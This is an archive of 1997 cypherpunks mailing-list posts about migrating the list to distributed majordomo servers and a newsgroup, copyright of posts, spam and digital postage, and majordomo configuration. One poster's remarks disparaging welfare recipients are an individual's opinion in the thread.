I'd suggest a simplier solution: to connect each server with a couple,
or maybe three, other servers. This scheme is rather robust, does not
consume too much CPU time and bandwidth, and is easy to implement.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 22:26:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property rights on cypherpunks (fwd)
Message-ID: <199702130626.WAA04488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While I'm not entirely unsympathetic with the notion that "information
should be free," your statements below are rather incoherent.

For purposes of analysis, let's talk about a story I report and write
myself. Depending on the article and travel involved, I may have spent
hundreds of dollars working on it. I am unwilling to donate those efforts
to the "public domain" every time; I may later want to sell the article to
recoup my costs. Think property rights. (Of course, I admit the need for
broad fair use rights as well.) 

"De facto public domain" is an idea that deserves to die. Now.

-Declan



On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Private property rights on cypherpunks
> 
> > I forward articles to cypherpunks that are copyrighted by my employers, or
> > magazines like Playboy and Wired for which I write freelance pieces. 
> > 
> > I like to think these articles have some value. I will not forward any of
> > them, nor would I be able to, if they magically became "public domain."
> > 
> > "De facto public domain" is an idea that deserves to die. Now.
> 
> Really? Do you have a priori permission from your publisher, who owns those
> stories, to distribute them elsewhere?
> 
> If not please explain why I or any other person should be a willing
> acomplice? You could also still post them anonymously. You could also
> simply include a 'fair use' proviso somewhere.
> 
> In such a case it would be in your publishers best interest to require a
> copyright notice. In that case there is no confusion about who owns those
> rights. Especialy when you consider the traffic is global which means your
> 'implied copyright' here don't mean squat there. I suspect just about
> every place that recognizes a copyright recognizes an explicit one.
> 
> Instead of "De facto public domain should die" how about,
> 
> "Implied a priori contracts should die now"
> 
> Lord a mighty, haven't you heard? Information wants to be free. Let the
> thing go. If you really think your words are something that will someday win
> a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
> it would seem to me that implicit copyright works against the axiomatic
> crypto-icon.
> 
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 06:41:13 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702131441.GAA01329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > "Timothy C. May" <tcmay@got.net> writes:
> > > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > > > >If the people decide for creation of a new USENET newsgroup,
> > > > >we need to think very hard about actually moving it to a different
> > > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> 
> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> I would lean toward sci.crypt.cypherpunks myself.  Are there any
> implications in the use of that name as to restrictions, etc.?
> 

Not really. All you have to do is to go through a formal newsgroup
creation process, post a RFD, second RFD, a CFV, and supposedly 
impartial votetakers will record the votes. You must get > 100 votes
YES, and the number of YES votes should be more than twice (thrice?)
the number of NO votes.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 22:26:19 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
Message-ID: <199702130626.WAA04480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Lee Tien wrote:
> Is payee anonymity technically possible?  Under what conditions?
> 
Yes.

In addition to having "money changers" play an anonymizing role, one can
use an anonymous bank account.  Contrary to intuition, banks might be
willing to set these up with cryptographic safeguards.

See http://www.law.miami.edu/~froomkin/articles/oceanno.htm#ENDNOTE286

which describes otherwise unpublished work by Brands (by permission).

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Wed, 12 Feb 1997 22:28:01 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Procmail during the transition, anyone?
Message-ID: <199702130628.WAA04589@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At various stages in the transition, we will be getting multiple copies of
the same messages as the are re- cross- whatever-posted to lists,
newsgroups and anything else handy.

Anyone have a procmail script that will show me just ONE copy of messages,
even if the headers are not identical (e.g. one looped, another was
forwarded, etc.)?

I have yet to find a good guide to procmail coding. My file is long, and
inefficient, and a pain to maintain...and I'm too busy to learn it right.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 06:41:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <199702131441.GAA01308@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now that cypherpunks is moving, to both a newsgroup and one or more 
mailing lists, there's still a need for cypherpunks-announce or 
something like it.  So far it's carried 1-2 announcements per month.

Should we create it as a mailing list, moderated or unmoderated,
or as a newsgroup?  (It's been a moderated mailing list, run by John and
Hugh.)
Perhaps the right implementation is a mail exploder going to
several moderators in parallel, any of whom can forward to the list,
just to cut down delays?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 06:41:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security (Re: Encryption for DNS registration)
Message-ID: <199702131441.GAA01331@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Donald Eastlake posted this on the IAHC-discuss list.  Cool stuff.

>Date: Wed, 12 Feb 1997 10:14:05 -0500 (EST)
>From: "Donald E. Eastlake 3rd" <dee@cybercash.com>
>To: iahc-discuss@iahc.org
>Subject: Security (Re: Encryption for DNS registration)
>
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  TIS
>is working on a government funded implementation which will be in the public
>domain (http://www.tis.com/docs/research/network/dns.html).  Their current
>Beta implementation of the base DNS security has been approved for export.  I
>believe there is an independent implementation effort underway at Microsoft. 
>
>While this was primarily motived by wanting to be able to securely do dynamic
>updates of the DNS in connection with DHCP, it is a general facility and
>could be one element of securely implenmeting a shared TLD.  You would,
>however, still need a way of sending general authenticated messages.  PGP
>seems like an excellent candidate for this as it is the de-facto standard
>available world wide.
>
>Donald

	[ quotes from previous messages deleted -- Bill ]

>=====================================================================
>Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
>   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
>Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
>http://www.cybercash.com           http://www.eff.org/blueribbon.html
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 06:41:20 -0800 (PST)
Subject: Private property & the cypherpunks list(s)
Message-ID: <199702131441.GAA01332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(Readers curious about Jim Choate's list ownership/acceptable use
policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)

Jim Choate wrote:

> Please explain how making submissions de facto public domain censors
> anyone?

What the fuck is "de facto public domain"? It's public domain, or it's
not. 

Your scheme imposes a cost (loss of intellectual property rights)
against authors who would like to make themselves heard. It also
prevents a certain class of messages (those messages whose status is
"copyright claimed") from being distributed. Further, your suggestion
that posters be required to include a "fair use header" is compelled
speech.

That's three flavors of "censorship" right there. I thought that the new
list(s) were supposed to allow anyone to say anything they wanted. 

(Does "no fair use" count as a "fair use header"? It's not legally
enforceable, but it seems like the easiest way to specify "minimum fair
use required by law". If not, are you planning to moderate the list to
make sure that people use only approved fair use headers? Hmm.) 

Even if the "copyright abandonment by implication" trick works (and I
suspect it will not, given that an assignment or transfer of copyright
must be in writing, 17 USC 204; and abandonment is essentially an
assignment or transfer to the public domain), it will not apply to all
text sent to the list. A person cannot abandon or assign something they
do not have; so if someone sends a message to the list which contains
text whose copyright is held by a third party, that copyright will still
be valid. 

So what you've got is a list where you can't be sure that its contents
are public domain, and a draconian rule requiring authors to give up
their rights to what they've written.

Do you imagine that all of the many-majordomo servers will implement
your "public domain only" rule, or only yours? 

If the rule only applies to the ssz.com version, what's the point?

If the rule is intended to apply to all servers, and servers aren't
going to be allowed into the network without agreeing to implement it
locally, um, tell me again about that "free speech" thing? Aren't you
just taking advantage of your position as a person working on the
many-majordomos project to impose your ideas about intellectual property
on the rest of the list? Is such a strategy compatible with "free
speech"? 

Also, how could a rule like this possibly be compatible with a Usenet
gateway? There's no chance at all that you can expand a local rule on
your system to all of Usenet through a gateway. 

And Declan McCullagh wrote:

>I forward articles to cypherpunks that are copyrighted by my employers, or
>magazines like Playboy and Wired for which I write freelance pieces. 
>
>I like to think these articles have some value. I will not forward any of
>them, nor would I be able to, if they magically became "public domain."

Which are good points - also, don't forget that, from time to time,
people have even posted code to the cpunks list, and many software
authors like to retain copyright in their code so that they can insist
on things like noncommercial distribtion or credit where the code is
reused. If a work is truly "public domain", the author has no power to
insist on those things. 

This proposed rule seems to limit postings to those which are perceived
by their authors to be without commercial or reputational value. Is that
a good idea?

--
Greg Broiles                | US crypto export control policy
gbroiles@netbox.com         | in a nutshell:
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Wed, 12 Feb 1997 15:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: CAPI 2.0 beta!
Message-ID: <199702122311.PAA08280@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

anybody used the Microsoft CAPI 2.0?

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Wed, 12 Feb 1997 21:11:41 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130511.VAA29288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Wed, 12 Feb 1997 14:33:03 -0800
   From: Greg Broiles <gbroiles@netbox.com>

   Yes, I installed INN and ran a few hundred test messages through it last
   night. My machine will be on the net full-time Thursday or Friday. Will yours
   be ready then, too? 

We've got INN here. I created a cpunks.general group (as well as
alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
feed hasn't got alt.cypherpunks yet; is someone who has got it willing
to feed it?  (also, is there a consensus on what group names to use:
new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
with the usual propagation and spam problems?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 22:11:15 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130611.WAA03602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

+At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
+>    maybe relief is in sight; can we spell excedrin?
+>
+>on or about 970211:1433 educom@elanor.oit.unc.edu said:
+>
+>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
+>
+>+A U.S. district court in Ohio has granted CompuServe's request for a
+>+preliminary injunction barring Cyber Promotions Inc. from sending
+>+unsolicited e-mail to its subscribers while the commercial provider
+...

+Were I a customer of CompuServe, I'd ask on what basis CompuServe was
+intercepting e-mail to me. In fact, a CompuServe account holder has
+made just this point: "I'll decide what's junk mail and what's not."]]
+
    I could not agree more, in theory, except for the postage you 
    discuss below which permits spammers greed to exceed responsibility, 
    let alone the public interest.

    I am, of course, a theoretical anarchist; I believe I could put 
    aside greed (and have) to be sufficiently altruistic to make a 
    society of anarchists work (in a limited population model). 
    However:

        "Only two things are infinite, 
          the universe and human stupidity, 
          and I'm not sure about the former."
                --Albert Einstein

    as long as we have a >30% third and fourth generation welfare class 
    which the dogood liberal bleeders say we are obligated to sustain 
    their breeding; and another 30% which are functionally illiterate, 
    there is no hope for idealism.
 
    our "neighbors" have no idea how to spell anarchy, let alone 
    understand the price of freedom.

    just because I would cut off the permanent welfare class at the 
    knees, and disenfranchise the functionally illiterate if I had the 
    chance, does not make anarchy any more feasible; it's just a more 
    rigid police state for the havenots --again, something we do not 
    need.

    sorry to be a pragmatic pessimist, but it went down hill with the 
    16th amendment and the Federal Reserve Act to benefit the     
    Rockefellers, Vanderbilts, Rothschilds, Chases, etc. at our expense. 

+Having the court system involved in deciding what mail is valid and
+what is not valid is not my idea of a free society.
+
    again, you are correct except anarchy requires responsibility. free 
    agency has its requirements and this is why junk fax was banned.
    too many members of our society can not spell anarchy or 
    responsibility --their knowledge of vocabulary starts and ends with 
    greed.

+Having said this, the flaw remains that "junk mail" is "free" to the
+sender. This is a flaw in the ontology of e-mail, and needs to be
+fixed. Digital postage is one approach.

    probably cut down on our postings to cp as well!  32 cents to post?

+I'm not holding my breath, but I sure don't want a "District Court"
+deciding.

    I don't like the regulatory agencies either, but at least they are 
    not Judge Roy Bean, Law West of the Pecos.

    unfortunately, until the irresponsible tone down their greed, we 
    need the regulation to protect ourselves from the predators.

    in other words, I agree with you in my heart, but our society 
    refuses to cooperate.  

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwKgzb04kQrCC2kFAQEK0AP+PBClPteXMYFpcfJaeYgP8c077LZwFE5i
O2taYhGGY2oiuw5U2r3Y4Qv2P/8CsCtZ/eSrBlmvMTOrYEi2Le0fjiefAFKte2g4
FSJ67ttFC3gSQyj75r99TJ+roYnJzGgec9X5f/kOr3Z0m3Da6u+m/l7siNmDOPae
RDWsxwmjcyM=
=huRr
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 11:44:21 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: More on Digital Postage
Message-ID: <199702131944.LAA09571@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

>on or about 970212:1525 "Timothy C. May" <tcmay@got.net> said:

>+Having said this, the flaw remains that "junk mail" is "free" to the
>+sender. This is a flaw in the ontology of e-mail, and needs to be
>+fixed. Digital postage is one approach.
>
>    probably cut down on our postings to cp as well!  32 cents to post?
>

I'm sure Attila does not believe any digital postage scheme would fix the
message rate at 32 cents, but it's an issue worth expanding upon.

First, the rate would be based on true market conditions, presumably. That
is, carriers of traffic would negotiate rates. Multiple stages of carriage
would involve negotiation between carriers.

(As with shipment of physical goods, where a shipment from Alice to Bob
might involve several carriers: trucks, trains, warehouse use, delivery
vans, toll road fees. All are "folded in" to the $3 or whatever charge paid
by Alice or Bob, depending.)

Second, the carriage charges for an ordinary e-mail message would likely be
in the sub-cents range.

Third, I don't see this ontological restructuring happening anytime soon.
People have gotten used to "free" services.

Fourth, we need to be alert to moves by the U.S. Postal Service to get a
foot in the door for "digital postage." There's nothing they'd like more
than having people clamor for the government to "do something!" about spam
and "unwanted mail" and thus get this foot in the door.


>    unfortunately, until the irresponsible tone down their greed, we
>    need the regulation to protect ourselves from the predators.
>
>    in other words, I agree with you in my heart, but our society
>    refuses to cooperate.

Attila and I have had this disagreement before (last time it involved
Attila's support for curfews).

Attila is free to hire agents to screen his mail so he does not receive
spam. He is not free, in a free society, to force such screeners upon me.

Talking about "irresponsible tones" and "greed" and how we need more laws
to protect ourselves from "predators" sounds more like something from the
Marin County limousine liberal set than from a Utah mountain man
Cypherpunk. I'm shocked, simply shocked.

(:-})

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 07:40:56 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702131540.HAA04224@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is where the distributed nature of the list comes   in.

if someone disagrees with Jim's AUP, he or she can use soem other
mailing list host.

igor

Greg Broiles wrote:
> 
> (Readers curious about Jim Choate's list ownership/acceptable use
> policies might take a look at <http://www.ssz.com/ssz/conditions.html>.)
> 
> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 
> 
> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard. It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed. Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.
> 
> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 
> 
> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 
> 
> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not, given that an assignment or transfer of copyright
> must be in writing, 17 USC 204; and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list. A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 
> 
> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.
> 
> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 
> 
> If the rule only applies to the ssz.com version, what's the point?
> 
> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 
> 
> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 
> 
> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 
> 
> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?
> 
> --
> Greg Broiles                | US crypto export control policy
> gbroiles@netbox.com         | in a nutshell:
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> ======================================
> == This list is still experimental. ==
> == complain to ichudov@algebra.com  ==
> ======================================
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Thu, 13 Feb 1997 12:01:24 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: distributed mailing list architecture
Message-ID: <199702132001.MAA09942@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:11 PM 2/7/1997, Adam Back wrote:
>Igor Chudov <ichudov@algebra.com> writes:
>> I'd suggest a simplier solution: to connect each server with a couple,
>> or maybe three, other servers. This scheme is rather robust, does not
>> consume too much CPU time and bandwidth, and is easy to implement.

> I'm not sure what the architecture you are suggesting is, but this is
> what I suggest as the simplest to set up.

> Have one main majordomo.

> Have many mail-exploders.

> You subscribe to the main majordomo request address, and it forwards
> your subscription request to a random mail-exploder.

> You unsubscribe to the main majordomo request address, and it forwards
> your subscription to all the mail-exploders request addresses
> (unsubscribe traffic is low anyway, keeping track of who is subscribed
> where at the main major domo doesn't seem worth it).

> Each person who wishes to run an exploder is subscribed (manually) to
> the main majordomo.

> You submit articles to the main majordomo, and it sends copies of the
> articles to it's subscribers (the mail-exploders).

> The mail-exploders send mail to the address on their subscriber lists.

> (John Gilmore suggested this architecture, as a simpler alternative).

This mostly solves the performance problem, but performance was not the
only choke point.  It is important to have many machines which accept
posts and which send them to other machines.

(Also, many interconnections means that few messages have to go through
more than two machines which should make message distribution
extraordinarily fast and highly redundant.  Standing in the way of
the cypherpunks list will be like standing in the way of the wind.)

I suggest we consider the problem of subscriptions to be independent
of the problem of posting and distributing messages.

Some machine owners may wish to pool subscription activities.  The
fast and easy approach is to have an official cypherpunks subscription
page which lists all of the mail servers which will accept new
subscribers.  (The person who maintains this page would ideally not
be somebody running a mail server.)  The interested person looks
at the page and then picks a majordomo to subscribe to.

It seems beneficial to me from a technical and social standpoint to
have a web of relationships between list managers and subscribers.
If as a subscriber you have some sort of problem (technical or social),
it will work better if there is just one person to talk to rather than
a loose network of volunteers.

Peter







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Thu, 13 Feb 1997 07:26:01 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702131526.HAA03585@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com enscribed thusly:

> Hi All,

> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.

	Majordomo 1.94 and above...

	subscribe_policy = open+confirm

	Last I looked, majordomo does not have subscription expirations
or periodic confirmations.  A couple of months ago someone else on a large
mailing list I help run suggested a package that would periodically mail
a bounce probe.  The probe would have explicit instructions to do NOTHING
if you wanted to remain on the list, just ignore the message.  If the
message came back, due to an E-Mail bounce, vacation program, or someone
who decided they didn't want to remain on the list after all, you toasted
them off.  Sort of an inverse confirmation message.  I lost the message
about the package before I could find it.  It sounds like a great compliment
to majordomo.  Maybe should be another feature for majordomo?  Anyone who
has heard of this add-on, let me know.  I'm still looking for it.

> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> as users to confirm their existing subscriptions.

	The instruction which go back with the job results and the confirmation
need to be beefed up.  I've had a lot of subscribers get "confused" when
their STUPID windows mailer breaks their "auth" message into two lines and
majordomo refuses to recognize it.  Forwarding the confirmation message
back or "replying" to it tend to screw up big time, so I modified the message
in my version to instruct users to "create a new message with this line as
the only line in the body".  It's cut down on the screwed up subscriptions
immensely.

	Majordomo also needs to be enhanced a bit to flush out bits and pieces
of floatsam in the E-Mail address that are not valid E-Mail addresses...
Example:  "Michael H. Warfield" <mhw@wittsend.com> would result in messages
going back to Michael, H., and Warfield, as well as mhw@wittsend.com.  I'm
planning on cleaning out any whitespace separated tokens which do not
contain an embedded "@" followed by a least one "." and ending with an alpha
or a ".".  That's on my to-do list for this week or next...  Along with
upgrading to 1.94.1.

> Is there any way to do it?

> Thank you.

> 	- Igor.
> 

-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 13 Feb 1997 11:58:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keep it Simple and the Cypherpunk Way
Message-ID: <199702131958.LAA09879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 11:42 AM -0500 2/13/97, Derek Atkins wrote:

>Unfortunately, the messages that make it through to the cypherpunks
>list have their MessageID changed when they get approved.  So,
>checking for duplicates by MessageID fails, given the current approval
>mechanism. :(
>
>I've informed Sandy of the problem, but he doesn't know how to
>preserve the original MessageIDs.

I will phrase my message here as respectfully as possible vis-a-vis the
goals of the moderation experiment. That is, I will only deal with one
aspect, the one of _costs_ of the moderation experiment.

To wit, the _costs_ of the moderation experiment--Sandy's time, our time
spent debating moderation, and now the issues raised by Michael Froomkin
and others about dealing with the chaos of multiple, overlapping
lists--greatly exceed the relatively small amount of effort it took anyone
to simply delete the insult posts, the ASCII art posts, etc.

I respectfully submit that the huge costs incurred on several parties have
cumulatively far exceeded the minor savings of not having a handful of the
'bot-generated insults of the day and some of the ASCII art generated. As
to the "comity" of the list, the moderation experiment has clearly had just
the opposite effect, predictably. (Imposing comity is rarely easy,
especially given an independent bunch of folks who are suspicious of
moderators screening their words for evidence of non-comity!). And the ill
will generated toward certain folks has been regrettable, and vastly more
costly than any minor savings in not having to see a few messages. 

"Keep it simple, stupid," the oft-quote KISS principle.

A moderation scheme--except perhaps those run very tightly a la Peter
Neumann's RISKS list--almost always bogs down into debates about the
moderation criteria, the acceptability of certain posts, and so on. Now we
see another effect: multiple lists and a confusing array of cross-posts,
mail-to-News gateways, News-to-mail gateways, etc.

The "Cypherpunks Way" is to encourage and empower people to filter their
own stuff, or to hire outside contractors to do it for them. Failing that,
to let them twist slowly in the wind. "Think of it as evolution in action."

The Cypherpunks Way is also the simplest system.

I hope this episode has reminded us of this lesson.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Eric.Pinsard" <epinsard@supelec-rennes.fr>
Date: Thu, 13 Feb 1997 06:41:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: key escrow & ttp
Message-ID: <199702131441.GAA01292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello
I am a student in an engineer school and i have to find where and who
are third trusted party for key escrowing all over the world.
If you know such organisation or someone who can help me in my quest,
please mail me back , i am not in a list.

best regards

Eric Pinsard







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Capelli <pete@ubisg.com>
Date: Thu, 13 Feb 1997 07:40:54 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702131540.HAA04218@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

<Some deleted>

> even more happy to pay, say, 10 cents to each recipient.  At that rate, an average
> person would probably receive enough "spam" to  pay for his Internet
> account, quite analogous to the way advertiser-supported TV is presented to
> the public for no explicit charge.

	Yes, but why does monetary compensation make it then O.K.?  I'd rather
pay for my Internet access, then be bombarded by spam, no matter what
they paid me!  I think the best soln. is the one that is currently in
place for phone calls - they can call once, but if I tell them not to
call me again and they do, I can then begin legal action against them. 
I pay more per month for my phone service than my Internet service (
although in NY, *everything* is more expensive. ), and junk phone calls
are way more intrusive then spam.

> 
> Jim Bell
> jimbell@pacifier.com

-pete

-- 
